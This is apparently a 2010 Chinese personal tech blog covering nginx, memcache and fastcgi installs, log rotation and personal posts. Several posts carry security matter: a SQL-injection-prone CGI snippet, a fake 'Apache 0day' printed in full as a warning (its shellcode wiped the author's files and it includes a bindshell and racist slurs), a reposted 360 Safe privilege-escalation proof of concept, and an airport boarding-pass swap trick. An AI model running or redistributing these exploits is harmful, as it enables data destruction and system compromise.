wget http://nginx.org/download/nginx-0.7.65.tar.gz

tar xzvf nginx-0.7.65.tar.gz

cd nginx-0.7.65

apt-get install gzip

apt-get install pcre-devel

./configure –prefix=/usr/local/nginx –with-http_perl_module –with-http_gzip_static_module –with-h
ttp_stub_status_module –with-poll_module

./configure –prefix=/usr/local/nginx –with-http_perl_module –with-http_gzip_static_module –with-h

ttp_stub_status_module –with-poll_module

make&&make install

剩下的就是对nginx的优化

vi /usr/local/nginx/conf/nginx.conf

user  nobody nobody;

worker_processes  8;  这个具体看你主机有多少cpu

error_log  logs/error.log  error;

pid        logs/nginx.pid;

worker_rlimit_nofile 20480;

events

{

use epoll;

worker_connections  8192;

}

启动nginx,最好写到脚本里

ulimit -HSn 65535

ulimit -a

/usr/local/nginx/sbin/nginx

别忘了在防火墙上放开80端口哦。。。。

一段典型代码

星期四, 三月 18th, 2010
stringstream sql;
sql.str(“”);
if (iop == 2)   //清除战斗角色信息
{
sql.str(“”);
sql<<”update xl_pk_2.t_fight_att set FQueueList=” where FUserid=”
<<suserid<<”and FRoleType=”<<iroletype;
m_clsDBConn.Query((char *)sql.str().c_str());

今天看代码时看到一段典型代码,如下

string suserid = Params["uid"];

stringstream sql;

sql<<”select * from  xxx.t_xxx  where userid=” <<suserid   <<”;”;

m_clsDBConn.Query((char *)sql.str().c_str());

【注】这是个cgi程序,其中params是个map,里面放着客户端post上来的所有参数。

m_clsDBConn是一个mysql连接。

看来SDL的道路任重而道远啊。

吃素一个月

星期二, 三月 16th, 2010

听文进说吃素有益身体健康,决定咱们一起试试这个效果,决定开始吃素一个月,咱俩打赌,谁先破解,罚款五百。

估计包子很愿意看到这个博客。

另外愿所有家人朋友都平平安安,平安是福啊。

nginx 切割日志

星期三, 三月 10th, 2010

我的一台机器上一天的log到了5G,几天下来有一百G,太浪费空间。

今天实现了两套方案切割nginx的日志

1.用crontab实现,每日0点1分执行一个脚本,脚本如下

#!/bin/sh

mv /usr/local/nginx/logs/back.softcenter.log /usr/local/nginx/logs/back.softcenter_`date -d yesterday +%Y%m%
d`.log
kill -USR1 `cat /usr/local/nginx/logs/nginx.pid`
find /usr/local/nginx/logs/ -name “*.log” -type f -atime +10 -exec rm -rf {} \;
~

mv /usr/local/nginx/logs/back.softcenter.log /usr/local/nginx/logs/back.softcenter_`date -d yesterday +%Y%m%d`.log

kill -USR1 `cat /usr/local/nginx/logs/nginx.pid`

find /usr/local/nginx/logs/ -name “*.log” -type f -atime +10 -exec rm -rf {} \;

2.后来我们的业务人员仍然不能忍受每天要分析那么大的log,提出过滤nginx的log,只记录html的,过滤掉jpg之类的,用了个叫cronolog的东西,cronolog从http://cronolog.org/很容易得到包,./configure; make; make install即可。

将nginx的启动改成一个脚本,脚本如下

#!/bin/sh

/usr/bin/mkfifo  /usr/local/nginx/logs/back.softcenter.log

grep -v -e png -e jpg -e gif -e xml -e css -e js  /usr/local/nginx/logs/shallwe.net.log |/usr/local/sbin/cronolog /usr/local/nginx/logs/shallwe.net.log.%Y%m%d &

/usr/local/nginx/sbin/nginx

针对黑客的攻击

星期五, 三月 5th, 2010

前两天群里有人爆料,说好像有针对apache大范围的漏洞,并有攻击代码,看到描述后乖乖不得了,立刻百度找到这段代码(按理说0day是百度不到的),立刻下回来验证一下。
第一次在一个测试机上,用root权限验证那段代码,他的输出号称成功得到shell了,但是用telnet没看到结果。
又换了另外一台机器,新建了一个test用户来验证这段代码,由于源代码和可执行程序都在/home/test下,执行完发现,发现源代码和程序都不在了,后检查代码发现程序执行了一段shellcode,第一反应,应该是删除了~目录,立刻查看第一个测试机,返现/root目录果然已经被清空了,幸亏它的shellcode不是rm -rf /*,幸亏我用的是自己的虚拟机,幸亏它没有种植一个后门到机器上,作者的目录真的just for fun。

这种行为,公布所谓的诱人的0day到网上,用来攻击号称对安全有点了解但又有点不明真相的人,当不明真相的“黑客们”自以为得到好的0day的时候,一个陷阱就为他铺就了。现在许多的安全站点也不为自己的网站内容负责,任何人可以随便发放一些所谓的不知道是否真假不知道是否可以利用不知道是否用来迷惑人的“0day”到上面。

大伙下次收到0day时都小心点!

附上那个所谓apache 0day利用代码,大家千万别执行它:

/*

===========================================================
!THIS 0DAY EXPLOIT IS PRIVATE PLEASE DO NOT DISTRIBUTE!
===========================================================

Apache 2.2.0 – 2.2.11 Remote exploit

Exploiting an off-by one bug in apr_uri_parse_hostinfo()
which leads to allocation of arbitrary ammount of memory,
put the shellcode then reliably jump in upon invocation
of the APR callback.

Compile: gcc fuckapache.c -o fuckapache

Usage: ./fuckapache

E.g:
===========================================================
[test@localhost tmp]$ ./fuck localhost 80
Connected, sending out the evil request…
Waiting some seconds to see if we got shell…
Now type nc localhost 12345 to see if you’ve got shell there
[test@localhost tmp]$ nc localhost 12345
id
uid=48(apache) gid=48(apache) groups=48(apache)
^D

==========================================================

Fuck all script kiddies around the world. No more free bugs, get lost.

Fuck all Indonesian, Malaysian, Pakistani, Saudi, Marrocan, Nigerian,
Turkish and other third-world *hack3rz* whose only contribution to the
world is writing dummy sqli scripts in python flooding the net
with BS like “kekekekeke” “ajjajaja” “i kill you”.
Feel free to suck my balls, all of you.

Have phun :)

*/

#include
#include
#include
#include
#include
#include
#include
#include

void usage(char *argv[])
{
printf(“Usage: %s
\n\n”,argv[0]);
exit(1);
}

int main(int argc,char *argv[])
{
// we_are_evil_we_are_evil_bindshell_31337_shellcode_in_91_bytes:>
char *shellcode=
“\xb8\xff\x2f\x73\x68\xc1\xe8\x08\x50″
“\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\x50″
“\x66\xb8\x71\x71\x66\x35\x51\x51\x66\x50″
“\xb8\x23\x37\x71\x2f\x35\x51\x51\x51\x51\x50″
“\xb8\x23\x3c\x71\x7c\x35\x51\x51\x51\x51\x50\x89\xe1\x31\xc0\x50″
“\x66\xb8\x2d\x63\x66\x50\x89\xe2\x31\xc0\xb0\x64\x29\xc4\x31\xc0\x50\x51\x52\x53″
“\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xb4\x01\x31\xdb\xcd\x80″;
int (*sc)()=(int(*)())shellcode;
char host[100];
int sd;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
// assuming PAGE_SIZE==4096 which is the most common case.
char *evilreq=malloc(4096);
pid_t pid;

if (argc!=3) usage(argv);
strcpy(host,argv[1]);
if ((hp = gethostbyname(host)) == 0) {
perror(“gethostbyname”);
exit(2);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(atoi(argv[2]));

if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror(“socket”);
exit(1);
}

if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1) {
perror(“connect”);
exit(3);
}

printf(“Connected, sending out the evil request…\n”);

// prepare teh evil request
sprintf(evilreq,”GET / HTTP/1.0\nAccept-Encoding: x-compress; x-zip\nCache-Control: max-age=-12312312%%s%91s\n\n”,shellcode);

if (send(sd, evilreq, strlen(evilreq), 0) == -1) {
perror(“send”);
exit(1);
}

printf(“Waiting some seconds to see if we got shell…\n”);
pid=fork();
if (pid==0) {close(2);sc();exit(0);}
else
{
sleep(2);
if (sd)
{
printf(“Now type nc %s 12345 to see if you’ve got shell there\n”,argv[1]);
close(sd);
}
}

}

vs2008几个诡异的事情

星期六, 二月 27th, 2010

1.vs2008无法卸载
在程序管理器中卸载2008老提示卸载失败,用360也不行,后百度得知,是vs2008的那些update作祟,在程序管理器中找到这些更新,卸载之,果然可以卸载2008了。

2.vs2008无法编译
一个非常简单正常的程序,编译时都提示
“vs2008编译错误fatal error C1902: 程序数据库管理器不匹配;请检查安装解决。”
后百度得知,是pdb相关的dll的版本冲突
解决方法:
到C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE下面拷贝mspdbsrv.exe mspdb80.dll mspdbcore.dll 到C:\Program Files\Microsoft Visual Studio 9.0\VC\bin下面,重启VS即可。

memcache 和 php支持安装

星期五, 二月 26th, 2010

memcache是个很方便的东东,可以支持数据的频繁读写,效率比数据库要快,memcache的官方地址是http://memcached.org/

一、安装libevent支持

cd /usr/local/src/我习惯将代码文件放这里,整洁些
wget http://www.monkey.org/~provos/libevent-1.2.tar.gz
tar xzvf libevent-1.2.tar.gz
cd libevent-1.2
./configure –prefix=/usr
make&&make install

二、安装memcached
wget http://memcached.googlecode.com/files/memcached-1.4.4.tar.gz
tar xzvf memcached-1.4.4.tar.gz
cd memcached-1.4.4
./configure –with-libevent=/usr
make
make install

三、安装memcache的php支持
wget http://pecl.php.net/get/memcache-2.2.5.tgz
tar xzvf memcache-2.2.5.tgz
cd memcache-2.2.5
phpize
./configure
make
make install
#此时会提示你so文件安装在/usr/local/lib/php/extensions/no-debug-non-zts-20090626/下
cp /usr/local/lib/php/extensions/no-debug-non-zts-20090626/memcache.so /usr/lib/php/modules/
注意,/usr/lib/php/modules/是值php.ini中默认的extension_dir所指,因机器而异
vi /etc/php.ini
打开php配置文件,将下面的文本加到末尾
extension=memcache.so
[Memcache]
memcache.allow_failover = On
memcache.max_failover_attempts = 20
memcache.chunk_size = 8192
memcache.default_port = 11211
;memcache.hash_strategy = “standard”
;memcache.hash_function = “crc32″
此时重启apache看phpinfo就可看到memcache具体条目

四、启动memcached服务
/usr/local/bin/memcached -d -m 10 -u nobody -l 127.0.0.1 -p 12000 -c 256 -P /tmp/memcached.pid
最好将这句话加到 /etc/rc.local 中
-d选项是启动一个守护进程,
-m是分配给Memcache使用的内存数量,单位是MB,我这里是10MB,
-u是运行Memcache的用户,为了安全,nobody即可
-l是监听的服务器IP地址,如果有多个地址的话,我这里指定了服务器的回环地址,
-p是设置Memcache监听的端口,我这里设置了12000,最好是1024以上的端口,
-c选项是最大运行的并发连接数,默认是1024,我这里设置了256,按照你服务器的负载量来设定,
-P是设置保存Memcache的pid文件,我这里是保存在 /tmp/memcached.pid,

五、测试文件
$mem = new Memcache;
$mem->connect(“127.0.0.1″, 12000);
$mem->set(‘key’, ‘Welcom to shallwe.net !’, 0, 60);
$val = $mem->get(‘key’);
echo $val;
?>
将这段文本放到test.php中,执行php test.php,应该会出现welcom to shallwe.net !

国务院公布2010年放假安排

星期二, 二月 23rd, 2010

纯属转载,对其真实性拒绝负责,谢绝跨省跨市以及跨村等一切追捕。

2010年主要节日的放假安排如下:

元旦:1月1日至3日放假,共3天,无调休。

春节:2月13日至19日放假调休,共7天。2月20日(星期六)、21日(星期日)上班。

清明节:4月3日至5日放假,共3天,无调休。

劳动节:5月1日至3日放假,共3天,无调休。

端午节:6月14日至16日放假调休,共3天。6月12日(星期六)、13日(星期日)上班。

中秋节:9月22日至24日放假调休,共3天。9月19日(星期日)、25日(星期六)上班。

国庆节:10月1日至7日放假调休,共7天。9月26日(星期日)、10月9日(星期六)上班。

据悉,明年的放假安排是根据《国务院关于修改〈全国年节及纪念日放假办法〉的决定》做出。和今年国庆中秋连耍8天不同,在调休安排上,看上去非常“中规中矩”,元旦、春节、清明节、劳动节、端午节、中秋节和国庆节7个节假日,没有一个是在时间上重合,分别分布在1月、2月、4月、5月、6月、9月、10月。且调休比较少(今年7个节假日都有调休),有3个节假日为放假公休,如元旦正好是周五,加周六周日共耍3天;清明为周一,加前面的周六周日共耍3天。

此外,中秋节假期结束距离国庆节为6天,相隔较近。

春节大假2010年2月19日结束后,2月20日(星期六)、2月21日(星期日)都要上班。也就是说,一收假就要连续上7天班。另外,在端午节放假前,也需连续上7天班。

两个现实的漏洞

星期六, 二月 20th, 2010

机场检查漏洞
等飞机的时候,第一道安检的时候检查身份证和登机牌,加入候机厅之后再上飞机的时候是不检验身份证的。这时如果有A买了机票去盐城,B买机票去深圳,AB分别安检加入候机厅后对调机票上机,B就会飞到盐城,A会飞到深圳。这个漏洞似乎用处不大,可以用来迷惑和摆脱某些追踪。

自助火锅店的漏洞:
昨天在一家自助火锅店吃饭,发现店里面居然没有卫生间,因为人吃火锅总得上厕所,所以人可以随便出入火锅店,这时我想如果有两个人,一个人在里面吃一会,中途尿遁出来,换另外一个人进去继续吃,店员是无法检测到这种换人漏洞的。自助饭店应该是很在乎这种漏洞的,之前在巴西烤肉的时候就发现付完钱之后不让人出去,不给你换人的任何机会。要解决这种漏洞,似乎也只有店家自备卫生间了。

内牛满面,今天是个值得纪念的日子

星期二, 二月 2nd, 2010

两年半了,不容易啊!!

瑞星公布的360本地提权漏洞利用代码

星期二, 二月 2nd, 2010

瑞星上已经被和谐了,在本地留个拷贝,完全没有别的啥意思。
360是个牛逼的公司,市场份额到了这么大分上,安装老邹的说法,也快算是个伟大的公司了,这是个技术实力和推广团队以及带队老大都十分顶尖的公司,在这上面还是很佩服。
只是这么大公司仍然会做些小动作,让人反感的同时,也会让互联网其他企业缺乏安全感,试想一下,如果哪天暴风或者千千静听被人爆出漏洞,360号召或者代替用户选择卸载这软件,会产生多大的杀伤力!!

zz开始,下面的poc我没测试

摘要:2月1日,有网友在百度知道搜索发现,奇虎360安全卫士存在本地提权漏洞,经瑞星互联网攻防实验室验证确认,该漏洞确实存在,并影响360安全卫士全部版本。

#include

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath “Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe”

#define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath “Software\\360Safe\\Update”

#define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath “Software\\360Safe”

BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;

DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, “Path”, NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;

strcat(cPath, “\\deepscan\\BREGDLL.dll”);

HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, “InitRegEngine”);
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, “BRegDeleteKey”);
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, “BRegOpenKey”);
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, “BRegCloseKey”);
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, “BRegSetValueEx”);

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}

if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}

return TRUE;
}

LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;

DWORD dwType = REG_SZ;
static char szData[] = “TEST VALUE”;
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);

return lResult;
}

int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, “初始化BReg失败!”, “失败”, MB_ICONSTOP);
return 1;
}

if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, “键值删除失败!”, “失败”, MB_ICONSTOP);
return 2;
}

if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, “设置键值失败!”, “失败”, MB_ICONSTOP);
return 3;
}

MessageBoxA(NULL, “突破系统安全检查,获得最高权限,漏洞利用成功!”, “成功”, MB_OK);
return 0;
}

黑客首先得是个管理员

星期日, 一月 31st, 2010

好像包子在很久之前说过,一个合格的黑客首先得是一个系统管理员,不然就算你能够入侵了别人的系统,你在上面操作不当,会导致你很快被别人发现,前不久就碰到一起这样的事件,一个小黑黑搞了我们的服务器,但是想玩mysql时乱操作权限,结果导致网站不正常,进而瞬间被我们监控到。

不过,这个仁兄很是为我们着想,他连history文件都没有删掉,方便我们细细查询入侵过程,很感谢他,他又一次推动了我们的安全工作。

好吧,我把two-cold那篇帖子删了

星期三, 一月 20th, 2010

天朝有风险,我不想访问量这么小的博客都要翻墙访问,算了,那帖子已经被我删了,tg的spider应该不会爬到了吧。

阿凡达 VS 魔兽争霸

星期四, 一月 7th, 2010

阿凡达这个电影不错,值我的65块钱门票和65块钱车费,界面设计的不错,perfect!

下面开始zz

由于转播信号的问题,转播开始时比赛已经进行了一段时间,此时HUM的人口为70,而
暗夜人口为30,双方英雄:人族山丘(将军)已达到8级,血法(公司老总)只有5级,二
英雄加茫茫多的坦克和直升飞机,由于双方出生在远点,所以人族一开始并未TR,暗夜方
面,首发的黑暗游侠(奈蒂莉)7级和6级恶魔猎手(苏泰)

双方的战术思想也大相径庭,HUM此时急需扩张来继续扩大优势,但无奈前期侦查太烂
,到这时才派出了小绵羊(杰克)侦查。而暗夜方面并未意识到危险降临,仍然靠打野怪
升级。

就在小绵羊进入暗夜领地的时候,突然被路过的黑暗游侠发现,黑暗游侠正欲射杀小
绵羊,突然暗夜圣母显灵,小绵羊得以保全性命。。。

根据小绵羊同志的情报,HUM终于锁定了暗夜的位置,此时小绵羊非常纠结,一方面他
是被女巫变成小绵羊侦查的,马上就要变回真身,另一方面他不知道自己究竟是那边的,
正在这时,黑暗游侠放出6级大招将小绵羊杰克招至麾下,众人表示不解,恶魔猎手甚至几
欲挥刀相向,但是黑暗游侠却一再坚称是圣母旨意,众人只好作罢。

接下来的日子黑暗游侠带着一级的杰克打野,一路上幸运的吃到N本经验书,使其等级
迅速飙升,单挑甚至不弱于恶魔猎手,而此时黑暗游侠的等级也提升到了8级(暂且认为5
级以后打野怪也加经验- -).

就在此时,HUM部队冲向暗夜主矿靠坦克对建筑的高输出直取暗夜生命之树!无奈兵力
差距太大,在损失了20多人口的兵力后只得退守2点方向的分基地。。。此战HUM大获全胜
,山丘之王也飙升至10级!!!!局面对暗夜十分不利。。。

HUM在回家后进行了简单的补给,欲乘胜追击,攻下对手分矿,结束比赛。就在此时,
小绵羊挺身而出!在制服中央泉水处的红龙后,等级达到9级!!他果断回城到达暗夜分矿
,招兵买马爆人口,缩小了双方兵力差距,而恶魔猎手屈从于红龙淫威,不敢造次,只得
听从小绵羊指挥。。。

大战终于到来,双方在暗夜分矿处展开了世纪大战!由于血法被山丘软禁,使得HUM部
队实力略有下降,但是HUM却靠着兵力优势击杀了对方已到7级的DEMON HUNTER!!!但是由于
火力过于集中,使得自己的部队损失过于严重。

但是瘦死的骆驼比马大,HUM小分队在4点钟方向围住了暗夜的黑暗游侠!正当HUM以为
比赛将就此结束时,暗夜派出了她们一直隐藏的第3英雄——兽王!没有人知道兽王什么时
候到达了6级,只见他二话不说放出了6级大招——万兽奔腾!团灭了HUM小分队,也保住了
黑暗游侠的生命。

坐在飞艇上督战的MK,见双方兵力对拼已尽,在飞艇爆炸前立即降落并使用了天神下
凡!而小绵羊由于击杀对方许多兵力,也早已到达10级!双方在分矿处展开了1V2!MK很轻
松地将黑暗游侠杀成了贫血,黑暗游侠为了保命早早退出战场,此时MK与小绵羊的对决成
为了本场比赛的最后决战,MK由于MP不够,一直处于劣势,但他转念一想,把攻击目标转
向了暗夜的最后一个建筑!!这样建筑一旦被打爆,比赛也将结束!!!此时贫血的黑暗
游侠不得不回救!放出了2记黑暗之箭结束了山丘的性命,比赛以暗夜的胜利而告终。。。

apache支持fastcgi

星期一, 一月 4th, 2010

/***********************
转载请说明from shallwe.net
***********************/

wget http://www.fastcgi.com/dist/fcgi.tar.gz
cd fcgi-2.4.0
./configure
make
make install

wget http://www.fastcgi.com/dist/mod_fastcgi-2.4.6.tar.gz
tar zxvf mod_fastcgi-2.4.6.tar.gz
cd mod_fastcgi-2.4.6
cp Makefile.AP2 Makefile

vi Makefile 修改apache的路径为/usr/local/apache

make&&make install

然后在httpd.conf中加入

LoadModule fastcgi_module modules/mod_fastcgi.so

FastCgiServer /usr/local/xxxx/fcgifile -processes 1

done

以上安装部分由czf同学教的,多谢